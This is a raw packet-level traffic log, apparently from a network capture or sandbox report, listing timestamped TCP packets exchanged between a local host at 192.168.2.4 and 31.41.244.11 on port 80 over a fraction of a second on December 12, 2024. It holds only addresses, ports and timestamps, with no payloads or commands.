Dec 12, 2024 14:26:39.613410950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613421917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613429070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613434076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613445044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613459110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613511086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613523006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613534927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613545895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613545895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613548040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613569021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613570929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613576889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613590002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613595963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613606930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613617897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613631964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613631964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613637924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613645077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613647938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613666058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613676071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613698006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613702059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613712072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613737106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613769054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613780975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613795042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613806009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613810062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613810062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613818884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613831043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613842010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613853931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613864899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613878012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613889933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613893032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613893032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613903046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613940954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613943100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613943100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613953114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613965034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613976002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613986969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613987923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614003897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614044905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614044905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614052057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614063978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614075899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614082098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614089012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614101887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614108086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614109039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614120007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614126921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614139080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614151001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614155054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614161968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614173889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614185095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614190102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614197969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614208937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614222050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614233017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614233017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614234924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614245892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614258051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614269972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614281893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614281893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614281893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614291906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614304066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614315033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614326000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614326000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614326000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614339113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614346981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614350080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614362955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614372969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614375114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614378929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614396095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614409924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614422083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614432096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614443064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614454031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614458084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614458084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614466906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614479065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614483118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614490032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614495039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614501953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614511967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614512920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614521027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614531040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614542961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614552975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614562988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614563942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614574909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614587069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614593983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614593983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614598989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614609957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614614964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614620924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614633083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614643097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614650011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614660978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614666939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614672899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614681005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614682913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614695072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.614712954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.614847898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.634819984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.635107994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.658858061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.658921003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.658977032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.658993006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.659013033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.659027100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.659218073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.659233093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.659245014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.659290075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.659290075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.660073042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660094976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660109043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660167933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.660167933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.660901070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660913944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660926104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.660972118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.660972118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.661557913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.661604881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.661617994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.661647081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.661647081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.661818027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.662406921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.662472963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.662487984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.662503958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.662538052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.662616014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.663361073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.663373947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.663387060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.663398981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.663444042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.664000034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.664012909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.664025068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.664078951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.664078951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.664957047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665011883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665024042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665050983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.665050983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.665086985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.665476084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665491104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665503979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.665513992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.665657043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.665657043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.666301012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.666316032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.666328907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.666348934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.666361094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.666384935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.667092085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667104959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667117119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667191982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.667191982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.667787075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667799950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667813063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.667833090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.667870998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.668591022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.668603897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.668664932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.668664932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.668739080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.668797970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.669341087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.669354916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.669414043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.669414997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.669511080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.669554949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.670176029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.670228004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.670375109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.670387983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.670417070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.670445919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.670882940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.670934916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.670965910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.670978069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.671009064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.671061039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.671767950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.671778917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.671792030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.671804905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.671868086 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.672590017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.672636986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.672715902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.672729969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.672755957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.672785997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.673274040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.673285007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.673290968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.673340082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.674083948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674105883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674118042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674129009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.674186945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.674882889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674895048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674906969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.674926043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.674987078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.675849915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.675867081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.675918102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.675941944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.675955057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.675985098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.676022053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.676670074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.676721096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.676875114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.676887989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.676937103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.676937103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.677609921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.677620888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.677649975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.677659988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.677663088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.677722931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.678385019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.678430080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.678555965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.678567886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.678628922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.678628922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.678958893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679009914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679012060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.679022074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679066896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.679066896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.679734945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679795027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.679814100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679825068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.679858923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.679907084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.680486917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.680500031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.680562019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.680562019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.680644989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.680686951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.681319952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.681329966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.681413889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.681485891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.681596994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.682104111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682148933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682159901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682198048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.682198048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.682219028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.682923079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682934046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682946920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.682977915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.683136940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.683798075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.683810949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.683823109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.683880091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.683880091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.684689999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.684746981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.684748888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.684760094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.684793949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.684809923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.736068010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.736162901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.736172915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.736185074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.736267090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.736886978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.737001896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.763108969 CET	49837	80	192.168.2.4	31.41.244.11
